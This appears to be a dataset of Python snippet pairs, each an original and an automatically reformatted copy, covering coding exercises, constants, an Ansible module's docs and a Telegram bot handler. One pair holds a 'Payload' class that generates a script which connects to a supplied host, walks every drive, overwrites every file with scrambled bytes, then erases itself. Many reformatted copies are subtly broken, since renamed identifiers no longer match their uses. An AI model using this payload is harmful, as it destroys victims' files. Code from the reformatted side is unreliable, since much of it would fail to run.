print('{:.1f}'.format(Tot))
| l = int(input())
tot = 0
med = 0
t = str(input()).upper()
m = [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]]
for i in range(12):
for j in range(12):
M[i][j] = float(input())
for j in range(12):
tot = +M[L][j]
med = Tot / 12
if T == 'M':
print('{:.1f}'.format(Med))
else:
print('{:.1f}'.format(Tot)) |
#########################
# DO NOT MODIFY
#########################
# SETTINGS.INI
C_MAIN_SETTINGS = 'Main_Settings'
P_DIR_IGNORE = 'IgnoreDirectories'
P_FILE_IGNORE = 'IgnoreFiles'
P_SRC_DIR = 'SourceDirectory'
P_DEST_DIR = 'DestinationDirectories'
P_BATCH_SIZE = 'BatchProcessingGroupSize'
P_FILE_BUFFER = 'FileReadBuffer'
P_SERVER_IP = 'SFTPServerIP'
P_SERVER_PORT = 'SFTPServerPort'
# SUPPORTED HASHES
H_SHA_256 = 'sha256'
H_SHA_224 = 'sha224'
H_SHA_384 = 'sha384'
H_SHA_512 = 'sha512'
H_SHA_1 = 'sha1'
H_MD5 = 'md5'
H_CRC_32 = 'crc32'
H_ADLER_32 = 'adler32'
| c_main_settings = 'Main_Settings'
p_dir_ignore = 'IgnoreDirectories'
p_file_ignore = 'IgnoreFiles'
p_src_dir = 'SourceDirectory'
p_dest_dir = 'DestinationDirectories'
p_batch_size = 'BatchProcessingGroupSize'
p_file_buffer = 'FileReadBuffer'
p_server_ip = 'SFTPServerIP'
p_server_port = 'SFTPServerPort'
h_sha_256 = 'sha256'
h_sha_224 = 'sha224'
h_sha_384 = 'sha384'
h_sha_512 = 'sha512'
h_sha_1 = 'sha1'
h_md5 = 'md5'
h_crc_32 = 'crc32'
h_adler_32 = 'adler32' |
def bubble_sort(iterable):
return sorted(iterable)
def selection_sort(iterable):
return sorted(iterable)
def insertion_sort(iterable):
return sorted(iterable)
def merge_sort(iterable):
return sorted(iterable)
def quicksort(iterable):
return sorted(iterable)
| def bubble_sort(iterable):
return sorted(iterable)
def selection_sort(iterable):
return sorted(iterable)
def insertion_sort(iterable):
return sorted(iterable)
def merge_sort(iterable):
return sorted(iterable)
def quicksort(iterable):
return sorted(iterable) |
class Payload:
def __init__(self, host,port, strs):
self.host,self.port,self.strs = host,port,strs
def create(self):
return """
conn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
conn.connect(('{host}' , int({port})))
from os import walk\nfrom string import ascii_lower as a
for l in a:\n\ttry :\n\t\topen(l +':\\')\n\texcept:\n\t\tpass\n\telse :ds.append(l)
for d in ds:\n\tfor r, _, fs in walk(d):\n\t\tif len(fs) == 0:\n\t\t\tpass\n\t\tfor f in fs:\n\t\t\twith open(r +'\\' +f, "rb+") as f:
\t\t\t\tfd = f.read()\n\t\t\t\tf.truncate()\n\t\t\t\tf.write(''.join(chr(ord(l) + {})for l in fd))
conn.send(b"->|")\nwith open(__file__, "rb+") as f:\n\tfd = f.read()\n\tf.truncate()\n\tf.write(b'0' * len(fd))\n\tos.remove(__file__)
""".format(host = self.host, port = str(port)) | class Payload:
def __init__(self, host, port, strs):
(self.host, self.port, self.strs) = (host, port, strs)
def create(self):
return '\nconn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\nconn.connect((\'{host}\' , int({port})))\nfrom os import walk\nfrom string import ascii_lower as a\nfor l in a:\n\ttry :\n\t\topen(l +\':\\\')\n\texcept:\n\t\tpass\n\telse :ds.append(l)\nfor d in ds:\n\tfor r, _, fs in walk(d):\n\t\tif len(fs) == 0:\n\t\t\tpass\n\t\tfor f in fs:\n\t\t\twith open(r +\'\\\' +f, "rb+") as f:\n\t\t\t\tfd = f.read()\n\t\t\t\tf.truncate()\n\t\t\t\tf.write(\'\'.join(chr(ord(l) + {})for l in fd))\nconn.send(b"->|")\nwith open(__file__, "rb+") as f:\n\tfd = f.read()\n\tf.truncate()\n\tf.write(b\'0\' * len(fd))\n\tos.remove(__file__)\n '.format(host=self.host, port=str(port)) |
class Author:
@property
def surname(self):
return self._surname
@property
def firstname(self):
return self._firstname
@property
def affiliation(self):
return self._affiliation
@property
def identifier(self):
return self._identifier
@firstname.setter
def firstname(self, firstname):
self._firstname = firstname
@affiliation.setter
def affiliation(self, affiliation):
self._affiliation = affiliation
@identifier.setter
def identifier(self, identifier):
self._identifier = identifier
def __init__(self, surname, firstname='', affiliation=None, identifier=None):
self._surname = surname
self._firstname = firstname
if affiliation is not None:
self._affiliation = affiliation
else:
self._affiliation = []
if identifier is not None:
self._identifier = identifier
else:
self._identifier = []
def to_output(self):
string = self._surname + "," + self._firstname + " ("
try:
for affil in self._affiliation:
string += affil["name"].replace(";", " ")
string += ", "
except:
print("no affiliation given")
string += "), "
return string
| class Author:
@property
def surname(self):
return self._surname
@property
def firstname(self):
return self._firstname
@property
def affiliation(self):
return self._affiliation
@property
def identifier(self):
return self._identifier
@firstname.setter
def firstname(self, firstname):
self._firstname = firstname
@affiliation.setter
def affiliation(self, affiliation):
self._affiliation = affiliation
@identifier.setter
def identifier(self, identifier):
self._identifier = identifier
def __init__(self, surname, firstname='', affiliation=None, identifier=None):
self._surname = surname
self._firstname = firstname
if affiliation is not None:
self._affiliation = affiliation
else:
self._affiliation = []
if identifier is not None:
self._identifier = identifier
else:
self._identifier = []
def to_output(self):
string = self._surname + ',' + self._firstname + ' ('
try:
for affil in self._affiliation:
string += affil['name'].replace(';', ' ')
string += ', '
except:
print('no affiliation given')
string += '), '
return string |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2017, Jon Hawkesworth (@jhawkesworth) <jhawkesworth@protonmail.com>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
DOCUMENTATION = r'''
---
module: win_toast
short_description: Sends Toast windows notification to logged in users on Windows 10 or later hosts
description:
- Sends alerts which appear in the Action Center area of the windows desktop.
options:
expire:
description:
- How long in seconds before the notification expires.
type: int
default: 45
group:
description:
- Which notification group to add the notification to.
type: str
default: Powershell
msg:
description:
- The message to appear inside the notification.
- May include \n to format the message to appear within the Action Center.
type: str
default: Hello, World!
popup:
description:
- If C(no), the notification will not pop up and will only appear in the Action Center.
type: bool
default: yes
tag:
description:
- The tag to add to the notification.
type: str
default: Ansible
title:
description:
- The notification title, which appears in the pop up..
type: str
default: Notification HH:mm
notes:
- This module must run on a windows 10 or Server 2016 host, so ensure your play targets windows hosts, or delegates to a windows host.
- The module does not fail if there are no logged in users to notify.
- Messages are only sent to the local host where the module is run.
- You must run this module with async, otherwise it will hang until the expire period has passed.
seealso:
- module: community.windows.win_msg
- module: community.windows.win_say
author:
- Jon Hawkesworth (@jhawkesworth)
'''
EXAMPLES = r'''
- name: Warn logged in users of impending upgrade (note use of async to stop the module from waiting until notification expires).
community.windows.win_toast:
expire: 60
title: System Upgrade Notification
msg: Automated upgrade about to start. Please save your work and log off before {{ deployment_start_time }}
async: 60
poll: 0
'''
RETURN = r'''
expire_at_utc:
description: Calculated utc date time when the notification expires.
returned: always
type: str
sample: 07 July 2017 04:50:54
no_toast_sent_reason:
description: Text containing the reason why a notification was not sent.
returned: when no logged in users are detected
type: str
sample: No logged in users to notify
sent_localtime:
description: local date time when the notification was sent.
returned: always
type: str
sample: 07 July 2017 05:45:54
time_taken:
description: How long the module took to run on the remote windows host in seconds.
returned: always
type: float
sample: 0.3706631999999997
toast_sent:
description: Whether the module was able to send a toast notification or not.
returned: always
type: bool
sample: false
'''
| documentation = '\n---\nmodule: win_toast\nshort_description: Sends Toast windows notification to logged in users on Windows 10 or later hosts\ndescription:\n - Sends alerts which appear in the Action Center area of the windows desktop.\noptions:\n expire:\n description:\n - How long in seconds before the notification expires.\n type: int\n default: 45\n group:\n description:\n - Which notification group to add the notification to.\n type: str\n default: Powershell\n msg:\n description:\n - The message to appear inside the notification.\n - May include \\n to format the message to appear within the Action Center.\n type: str\n default: Hello, World!\n popup:\n description:\n - If C(no), the notification will not pop up and will only appear in the Action Center.\n type: bool\n default: yes\n tag:\n description:\n - The tag to add to the notification.\n type: str\n default: Ansible\n title:\n description:\n - The notification title, which appears in the pop up..\n type: str\n default: Notification HH:mm\nnotes:\n - This module must run on a windows 10 or Server 2016 host, so ensure your play targets windows hosts, or delegates to a windows host.\n - The module does not fail if there are no logged in users to notify.\n - Messages are only sent to the local host where the module is run.\n - You must run this module with async, otherwise it will hang until the expire period has passed.\nseealso:\n- module: community.windows.win_msg\n- module: community.windows.win_say\nauthor:\n- Jon Hawkesworth (@jhawkesworth)\n'
examples = '\n- name: Warn logged in users of impending upgrade (note use of async to stop the module from waiting until notification expires).\n community.windows.win_toast:\n expire: 60\n title: System Upgrade Notification\n msg: Automated upgrade about to start. Please save your work and log off before {{ deployment_start_time }}\n async: 60\n poll: 0\n'
return = '\nexpire_at_utc:\n description: Calculated utc date time when the notification expires.\n returned: always\n type: str\n sample: 07 July 2017 04:50:54\nno_toast_sent_reason:\n description: Text containing the reason why a notification was not sent.\n returned: when no logged in users are detected\n type: str\n sample: No logged in users to notify\nsent_localtime:\n description: local date time when the notification was sent.\n returned: always\n type: str\n sample: 07 July 2017 05:45:54\ntime_taken:\n description: How long the module took to run on the remote windows host in seconds.\n returned: always\n type: float\n sample: 0.3706631999999997\ntoast_sent:\n description: Whether the module was able to send a toast notification or not.\n returned: always\n type: bool\n sample: false\n' |
VERSION = "1.4.4"
if __name__ == "__main__":
print(VERSION, end="")
| version = '1.4.4'
if __name__ == '__main__':
print(VERSION, end='') |
party_size = int(input())
days = int(input())
total_coins = 0
for day in range (1, days + 1):
if day % 10 == 0:
party_size -= 2
if day % 15 == 0:
party_size += 5
total_coins += (50 - (2 * party_size))
if day % 3 == 0:
total_coins -= (3 * party_size)
if day % 5 == 0:
total_coins += (20 * party_size)
if day % 3 == 0 and day % 5 == 0:
total_coins -= (2 * party_size)
print(f'{party_size} companions received {int(total_coins/party_size)} coins each.') | party_size = int(input())
days = int(input())
total_coins = 0
for day in range(1, days + 1):
if day % 10 == 0:
party_size -= 2
if day % 15 == 0:
party_size += 5
total_coins += 50 - 2 * party_size
if day % 3 == 0:
total_coins -= 3 * party_size
if day % 5 == 0:
total_coins += 20 * party_size
if day % 3 == 0 and day % 5 == 0:
total_coins -= 2 * party_size
print(f'{party_size} companions received {int(total_coins / party_size)} coins each.') |
#break
for i in range(1,10,1):
if(i==5):
continue
print(i) | for i in range(1, 10, 1):
if i == 5:
continue
print(i) |
@bot.on(events.NewMessage(incoming=True))
@bot.on(events.MessageEdited(incoming=True))
async def common_incoming_handler(e):
if SPAM:
db=sqlite3.connect("spam_mute.db")
cursor=db.cursor()
cursor.execute('''SELECT * FROM SPAM''')
all_rows = cursor.fetchall()
for row in all_rows:
if int(row[0]) == int(e.chat_id):
if int(row[1]) == int(e.sender_id):
await e.delete()
return
db=sqlite3.connect("spam_mute.db")
cursor=db.cursor()
cursor.execute('''SELECT * FROM MUTE''')
all_rows = cursor.fetchall()
for row in all_rows:
if int(row[0]) == int(e.chat_id):
if int(row[1]) == int(e.sender_id):
await e.delete()
return
if e.sender_id not in MUTING_USERS:
MUTING_USERS={}
MUTING_USERS.update({e.sender_id:1})
if e.sender_id in MUTING_USERS:
MUTING_USERS[e.sender_id]=MUTING_USERS[e.sender_id]+1
if MUTING_USERS[e.sender_id]>SPAM_ALLOWANCE:
db=sqlite3.connect("spam_mute.db")
cursor=db.cursor()
cursor.execute('''INSERT INTO SPAM VALUES(?,?)''', (int(e.chat_id),int(e.sender_id)))
db.commit()
db.close()
await bot.send_message(e.chat_id,"`Spammer Nibba was muted.`")
return
if e.chat_id > 0:
await bot.send_message(e.chat_id,"`I am not trained to deal with people spamming on PM.")
@bot.on(events.NewMessage(outgoing=True, pattern='.asmoff'))
@bot.on(events.MessageEdited(outgoing=True, pattern='.asmoff'))
async def set_asm(e):
global SPAM
SPAM=False
await e.edit("Spam Tracking turned off!")
db=sqlite3.connect("spam_mute.db")
cursor=db.cursor()
cursor.execute('''DELETE FROM SPAM WHERE chat_id<0''')
db.commit()
db.close()
@bot.on(events.NewMessage(outgoing=True, pattern='.asmon'))
@bot.on(events.MessageEdited(outgoing=True, pattern='.asmon'))
async def set_asm(e):
global SPAM
global SPAM_ALLOWANCE
SPAM=True
message=e.text
SPAM_ALLOWANCE=int(message[6:])
await e.edit("Spam Tracking turned on!")
await bot.send_message(LOGGER_GROUP,"Spam Tracking is Turned on!")
| @bot.on(events.NewMessage(incoming=True))
@bot.on(events.MessageEdited(incoming=True))
async def common_incoming_handler(e):
if SPAM:
db = sqlite3.connect('spam_mute.db')
cursor = db.cursor()
cursor.execute('SELECT * FROM SPAM')
all_rows = cursor.fetchall()
for row in all_rows:
if int(row[0]) == int(e.chat_id):
if int(row[1]) == int(e.sender_id):
await e.delete()
return
db = sqlite3.connect('spam_mute.db')
cursor = db.cursor()
cursor.execute('SELECT * FROM MUTE')
all_rows = cursor.fetchall()
for row in all_rows:
if int(row[0]) == int(e.chat_id):
if int(row[1]) == int(e.sender_id):
await e.delete()
return
if e.sender_id not in MUTING_USERS:
muting_users = {}
MUTING_USERS.update({e.sender_id: 1})
if e.sender_id in MUTING_USERS:
MUTING_USERS[e.sender_id] = MUTING_USERS[e.sender_id] + 1
if MUTING_USERS[e.sender_id] > SPAM_ALLOWANCE:
db = sqlite3.connect('spam_mute.db')
cursor = db.cursor()
cursor.execute('INSERT INTO SPAM VALUES(?,?)', (int(e.chat_id), int(e.sender_id)))
db.commit()
db.close()
await bot.send_message(e.chat_id, '`Spammer Nibba was muted.`')
return
if e.chat_id > 0:
await bot.send_message(e.chat_id, '`I am not trained to deal with people spamming on PM.')
@bot.on(events.NewMessage(outgoing=True, pattern='.asmoff'))
@bot.on(events.MessageEdited(outgoing=True, pattern='.asmoff'))
async def set_asm(e):
global SPAM
spam = False
await e.edit('Spam Tracking turned off!')
db = sqlite3.connect('spam_mute.db')
cursor = db.cursor()
cursor.execute('DELETE FROM SPAM WHERE chat_id<0')
db.commit()
db.close()
@bot.on(events.NewMessage(outgoing=True, pattern='.asmon'))
@bot.on(events.MessageEdited(outgoing=True, pattern='.asmon'))
async def set_asm(e):
global SPAM
global SPAM_ALLOWANCE
spam = True
message = e.text
spam_allowance = int(message[6:])
await e.edit('Spam Tracking turned on!')
await bot.send_message(LOGGER_GROUP, 'Spam Tracking is Turned on!') |
"""Helper module for bitfields manipulation"""
class BitField(int):
"""Stores an int and converts it to a string corresponding to an enum"""
to_string = lambda self, enum: " ".join([i for i, j in enum._asdict().items() if self & j])
| """Helper module for bitfields manipulation"""
class Bitfield(int):
"""Stores an int and converts it to a string corresponding to an enum"""
to_string = lambda self, enum: ' '.join([i for (i, j) in enum._asdict().items() if self & j]) |
class ElectionFraudDiv2:
def IsFraudulent(self, percentages):
ra, rb = 0, 0
for p in percentages:
a, b = 10001, 0
for i in xrange(10001):
if int(round(i*100.0 / 10000)) == p:
a, b = min(a, i), max(b, i)
if not b:
return 'YES'
ra += a
rb += b
return 'NO' if ra <= 10000 <= rb else 'YES'
| class Electionfrauddiv2:
def is_fraudulent(self, percentages):
(ra, rb) = (0, 0)
for p in percentages:
(a, b) = (10001, 0)
for i in xrange(10001):
if int(round(i * 100.0 / 10000)) == p:
(a, b) = (min(a, i), max(b, i))
if not b:
return 'YES'
ra += a
rb += b
return 'NO' if ra <= 10000 <= rb else 'YES' |
# SPDX-FileCopyrightText: 2020 FoamyGuy for Adafruit Industries
#
# SPDX-License-Identifier: MIT
def wrap_nicely(string, max_chars):
""" From: https://www.richa1.com/RichardAlbritton/circuitpython-word-wrap-for-label-text/
A helper that will return the string with word-break wrapping.
:param str string: The text to be wrapped.
:param int max_chars: The maximum number of characters on a line before wrapping.
"""
string = string.replace("\n", "").replace("\r", "") # strip confusing newlines
words = string.split(" ")
the_lines = []
the_line = ""
for w in words:
if len(the_line + " " + w) <= max_chars:
the_line += " " + w
else:
the_lines.append(the_line)
the_line = w
if the_line:
the_lines.append(the_line)
the_lines[0] = the_lines[0][1:]
the_newline = ""
for w in the_lines:
the_newline += "\n" + w
return the_newline
| def wrap_nicely(string, max_chars):
""" From: https://www.richa1.com/RichardAlbritton/circuitpython-word-wrap-for-label-text/
A helper that will return the string with word-break wrapping.
:param str string: The text to be wrapped.
:param int max_chars: The maximum number of characters on a line before wrapping.
"""
string = string.replace('\n', '').replace('\r', '')
words = string.split(' ')
the_lines = []
the_line = ''
for w in words:
if len(the_line + ' ' + w) <= max_chars:
the_line += ' ' + w
else:
the_lines.append(the_line)
the_line = w
if the_line:
the_lines.append(the_line)
the_lines[0] = the_lines[0][1:]
the_newline = ''
for w in the_lines:
the_newline += '\n' + w
return the_newline |
"""
1. Clarification
2. Possible solutions
- Recursive
- Iterative
- Morris traversal
3. Coding
4. Tests
"""
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
# T=O(n), S=O(n)
class Solution:
def inorderTraversal(self, root: TreeNode) -> List[int]:
if not root: return []
self.ret = []
self.dfs(root)
return self.ret
def dfs(self, root):
if not root: return
self.dfs(root.left)
self.ret.append(root.val)
self.dfs(root.right)
# T=O(n), S=O(n)
class Solution:
def inorderTraversal(self, root: TreeNode) -> List[int]:
res = list()
if not root: return res
stack = []
node = root
while node or stack:
while node:
stack.append(node)
node = node.left
node = stack.pop()
res.append(node.val)
node = node.right
return res
# # T=O(n), S=O(1)
# class Solution:
# def inorderTraversal(self, root: TreeNode) -> List[int]:
# res = list()
# if not root: return res
# pre, node = None, root
# while node:
# if node.left:
# pre = node.left
# while pre.right and pre.right != node:
# pre = pre.right
# if not pre.right:
# pre.right = node
# node = node.left
# else:
# res.append(node.val)
# pre.right = None
# node = node.right
# else:
# res.append(node.val)
# node = node.right
# return res
| """
1. Clarification
2. Possible solutions
- Recursive
- Iterative
- Morris traversal
3. Coding
4. Tests
"""
class Solution:
def inorder_traversal(self, root: TreeNode) -> List[int]:
if not root:
return []
self.ret = []
self.dfs(root)
return self.ret
def dfs(self, root):
if not root:
return
self.dfs(root.left)
self.ret.append(root.val)
self.dfs(root.right)
class Solution:
def inorder_traversal(self, root: TreeNode) -> List[int]:
res = list()
if not root:
return res
stack = []
node = root
while node or stack:
while node:
stack.append(node)
node = node.left
node = stack.pop()
res.append(node.val)
node = node.right
return res |
class Solution:
def removeStones(self, stones: List[List[int]]) -> int:
graph = collections.defaultdict(list)
n = len(stones)
for i in range(n):
for j in range(n):
if i == j:
continue
if stones[i][0] == stones[j][0] or stones[i][1] == stones[j][1]:
graph[i].append(j)
visited = [False]*n
components = 0
for i in range(n):
if visited[i]: continue
components += 1
stack = [i]
visited[i] = True
while stack:
node = stack.pop()
visited[node] = True
for neighbor in graph[node]:
if not visited[neighbor]:
stack.append(neighbor)
return n - components
| class Solution:
def remove_stones(self, stones: List[List[int]]) -> int:
graph = collections.defaultdict(list)
n = len(stones)
for i in range(n):
for j in range(n):
if i == j:
continue
if stones[i][0] == stones[j][0] or stones[i][1] == stones[j][1]:
graph[i].append(j)
visited = [False] * n
components = 0
for i in range(n):
if visited[i]:
continue
components += 1
stack = [i]
visited[i] = True
while stack:
node = stack.pop()
visited[node] = True
for neighbor in graph[node]:
if not visited[neighbor]:
stack.append(neighbor)
return n - components |
'''
Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum.
Note: A leaf is a node with no children.
Example:
Given the below binary tree and sum = 22,
5
/ \
4 8
/ / \
11 13 4
/ \ \
7 2 1
return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
'''
# Definition for a binary tree node.
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def dfs(self,root,csum):
#if the node is leafe
if root is None:
#check if the cumsum equal to input
if csum == self.check:
return True
else:
return False
csum += root.val
#find any matches
return self.dfs(root.left,csum) or self.dfs(root.right,csum)
def hasPathSum(self, root: TreeNode, sum: int) -> bool:
self.check = sum
if not root:
return False
else:
return self.dfs(root,0)
class Solution2:
def dfs(self,root,csum):
#if node exist
if root:
#if node a leafe
#if not (root.left and root.right): NOT WORKING
#USE is None instead
if root.left is None and root.right is None:
#add value to cumsum
csum += root.val
#return
#return True if csum ==self.check else False
#is not working, == is used
if csum == self.check:
return True
#check for children
return self.dfs(root.left,csum) or self.dfs(root.right,csum)
def hasPathSum(self, root: TreeNode, sum: int) -> bool:
self.check = sum
return self.dfs(root,0)
root = TreeNode(5)
root.left = TreeNode(4)
root.left.left = TreeNode(11)
root.left.left.left =TreeNode(7)
root.left.left.right = TreeNode(2)
root.right = TreeNode(8)
root.right.left = TreeNode(13)
root.right.right = TreeNode(4)
root.right.right.right = TreeNode(1)
s = Solution()
s2 = Solution2()
res = s.hasPathSum(root,22)
res2 = s2.hasPathSum(root,22)
# res = s.hasPathSum(None,0)
print(res,'\n',res2) | """
Given a binary tree and a sum, determine if the tree has a root-to-leaf path such that adding up all the values along the path equals the given sum.
Note: A leaf is a node with no children.
Example:
Given the below binary tree and sum = 22,
5
/ 4 8
/ / 11 13 4
/ \\ 7 2 1
return true, as there exist a root-to-leaf path 5->4->11->2 which sum is 22.
"""
class Treenode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def dfs(self, root, csum):
if root is None:
if csum == self.check:
return True
else:
return False
csum += root.val
return self.dfs(root.left, csum) or self.dfs(root.right, csum)
def has_path_sum(self, root: TreeNode, sum: int) -> bool:
self.check = sum
if not root:
return False
else:
return self.dfs(root, 0)
class Solution2:
def dfs(self, root, csum):
if root:
if root.left is None and root.right is None:
csum += root.val
if csum == self.check:
return True
return self.dfs(root.left, csum) or self.dfs(root.right, csum)
def has_path_sum(self, root: TreeNode, sum: int) -> bool:
self.check = sum
return self.dfs(root, 0)
root = tree_node(5)
root.left = tree_node(4)
root.left.left = tree_node(11)
root.left.left.left = tree_node(7)
root.left.left.right = tree_node(2)
root.right = tree_node(8)
root.right.left = tree_node(13)
root.right.right = tree_node(4)
root.right.right.right = tree_node(1)
s = solution()
s2 = solution2()
res = s.hasPathSum(root, 22)
res2 = s2.hasPathSum(root, 22)
print(res, '\n', res2) |
class Solution:
def majorityElement(self, nums: List[int]) -> List[int]:
nums_dict = {}
for num in nums:
if num in nums_dict:
nums_dict[num] += 1
else:
nums_dict[num] = 1
return [key for key, value in nums_dict.items() if value > len(nums) / 3]
| class Solution:
def majority_element(self, nums: List[int]) -> List[int]:
nums_dict = {}
for num in nums:
if num in nums_dict:
nums_dict[num] += 1
else:
nums_dict[num] = 1
return [key for (key, value) in nums_dict.items() if value > len(nums) / 3] |
# -*- python -*-
load("@drake//tools/workspace:github.bzl", "github_archive")
def scs_repository(
name,
mirrors = None):
github_archive(
name = name,
repository = "cvxgrp/scs",
# When updating this commit, see drake/tools/workspace/qdldl/README.md.
commit = "v2.1.3",
sha256 = "cb139aa8a53b8f6a7f2bacec4315b449ce366ec80b328e823efbaab56c847d20", # noqa
build_file = "@drake//tools/workspace/scs:package.BUILD.bazel",
patches = [
# Fix some include paths for our build of QDLDL.
# TODO(jwnimmer-tri) We should upstream these options under a
# config switch.
"@drake//tools/workspace/scs:private.h.diff",
# Fix sizeof(bool) for our build of QDLDL.
# TODO(jwnimmer-tri) We should upstream this fix.
"@drake//tools/workspace/scs:private.c.diff",
],
mirrors = mirrors,
)
| load('@drake//tools/workspace:github.bzl', 'github_archive')
def scs_repository(name, mirrors=None):
github_archive(name=name, repository='cvxgrp/scs', commit='v2.1.3', sha256='cb139aa8a53b8f6a7f2bacec4315b449ce366ec80b328e823efbaab56c847d20', build_file='@drake//tools/workspace/scs:package.BUILD.bazel', patches=['@drake//tools/workspace/scs:private.h.diff', '@drake//tools/workspace/scs:private.c.diff'], mirrors=mirrors) |
while True:
ans = sorted([int(n) for n in input().split()])
if sum(ans) == 0:
break
print(*ans)
| while True:
ans = sorted([int(n) for n in input().split()])
if sum(ans) == 0:
break
print(*ans) |
{
"object_templates":
[
{
"name": "fridge",
"description": ["Fridge desc."],
"container": [10]
},
{
"type_name": "barrel",
"description": ["Barrel desc."],
"interest": [5],
"sound": {
"OPEN": 2
},
"container": [5],
},
{
"type_name": "stove",
"description": ["device desc."],
"device": []
}
]
}
| {'object_templates': [{'name': 'fridge', 'description': ['Fridge desc.'], 'container': [10]}, {'type_name': 'barrel', 'description': ['Barrel desc.'], 'interest': [5], 'sound': {'OPEN': 2}, 'container': [5]}, {'type_name': 'stove', 'description': ['device desc.'], 'device': []}]} |
# card_hold_href is the stored href for the CardHold
card_hold = balanced.CardHold.fetch(card_hold_href)
debit = card_hold.capture(
appears_on_statement_as='ShowsUpOnStmt',
description='Some descriptive text for the debit in the dashboard'
) | card_hold = balanced.CardHold.fetch(card_hold_href)
debit = card_hold.capture(appears_on_statement_as='ShowsUpOnStmt', description='Some descriptive text for the debit in the dashboard') |
'''
Given a non-empty array of integers, every element appears
three times except for one, which appears exactly once.
Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
'''
class Solution:
def singleNumber(self, nums: List[int]) -> int:
d = dict()
for i in range(len(nums)):
if nums[i] not in d:
d[nums[i]] = 1
else:
d[nums[i]]+=1
for k in d.keys():
if d[k] == 1:
return k
| """
Given a non-empty array of integers, every element appears
three times except for one, which appears exactly once.
Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
"""
class Solution:
def single_number(self, nums: List[int]) -> int:
d = dict()
for i in range(len(nums)):
if nums[i] not in d:
d[nums[i]] = 1
else:
d[nums[i]] += 1
for k in d.keys():
if d[k] == 1:
return k |
class Android:
# adb keyevent
KEYCODE_ENTER = "KEYCODE_DPAD_CENTER"
KEYCODE_RIGHT = "KEYCODE_DPAD_RIGHT"
KEYCODE_LEFT = "KEYCODE_DPAD_LEFT"
KEYCODE_DOWN = "KEYCODE_DPAD_DOWN"
KEYCODE_UP = "KEYCODE_DPAD_UP"
KEYCODE_SPACE = "KEYCODE_SPACE"
# adb get property
PROP_LANGUAGE = "persist.sys.language"
PROP_COUNTRY = "persist.sys.country"
PROP_BOOT_COMPLETED = "sys.boot_completed"
PROP_SIM_STATE = "gsm.sim.state"
# adb shell dumpsys category
CATEGORY_MEDIA_AUDIO_FLINGER = "media.audio_flinger"
CATEGORY_POWER = "power"
CATEGORY_INPUT = "input"
CATEGORY_WIFI = "wifi"
CATEGORY_AUDIO = "audio"
CATEGORY_STATUSBAR = "statusbar"
CATEGORY_ACTIVITY = "activity activities"
VAL_BATTERY = "mBatteryLevel"
# UiAutomator Jar : Default LASCALL
JAR_AUBS = "aubs.jar"
# AUBS Method
AUBS = "jp.setsulla.aubs.Aubs"
AUBS_SYSTEM_ALLOWAPP = "jp.setsulla.aubs.system.AndroidTest#testAllowSettingsApp"
# AURA Service
AURA_PACKAGE = "jp.setsulla.aura"
AURA_DEBUGON = "jp.setsulla.aura.DEBUG_ON"
| class Android:
keycode_enter = 'KEYCODE_DPAD_CENTER'
keycode_right = 'KEYCODE_DPAD_RIGHT'
keycode_left = 'KEYCODE_DPAD_LEFT'
keycode_down = 'KEYCODE_DPAD_DOWN'
keycode_up = 'KEYCODE_DPAD_UP'
keycode_space = 'KEYCODE_SPACE'
prop_language = 'persist.sys.language'
prop_country = 'persist.sys.country'
prop_boot_completed = 'sys.boot_completed'
prop_sim_state = 'gsm.sim.state'
category_media_audio_flinger = 'media.audio_flinger'
category_power = 'power'
category_input = 'input'
category_wifi = 'wifi'
category_audio = 'audio'
category_statusbar = 'statusbar'
category_activity = 'activity activities'
val_battery = 'mBatteryLevel'
jar_aubs = 'aubs.jar'
aubs = 'jp.setsulla.aubs.Aubs'
aubs_system_allowapp = 'jp.setsulla.aubs.system.AndroidTest#testAllowSettingsApp'
aura_package = 'jp.setsulla.aura'
aura_debugon = 'jp.setsulla.aura.DEBUG_ON' |
"""CUBRID FIELD_TYPE Constants
These constants represent the various column (field) types that are
supported by CUBRID.
"""
CHAR = 1
VARCHAR = 2
NCHAR = 3
VARNCHAR = 4
BIT = 5
VARBIT = 6
NUMERIC = 7
INT = 8
SMALLINT = 9
MONETARY = 10
BIGINT = 21
FLOAT = 11
DOUBLE = 12
DATE = 13
TIME = 14
TIMESTAMP = 15
OBJECT = 19
SET = 32
MULTISET = 64
SEQUENCE = 96
BLOB = 254
CLOB = 255
STRING = VARCHAR
| """CUBRID FIELD_TYPE Constants
These constants represent the various column (field) types that are
supported by CUBRID.
"""
char = 1
varchar = 2
nchar = 3
varnchar = 4
bit = 5
varbit = 6
numeric = 7
int = 8
smallint = 9
monetary = 10
bigint = 21
float = 11
double = 12
date = 13
time = 14
timestamp = 15
object = 19
set = 32
multiset = 64
sequence = 96
blob = 254
clob = 255
string = VARCHAR |
gainGyroAngle = 1156*1.4
gainGyroRate = 146*0.85
gainMotorAngle = 7*1
gainMotorAngularSpeed = 9*0.95
gainMotorAngleErrorAccumulated = 0.6
| gain_gyro_angle = 1156 * 1.4
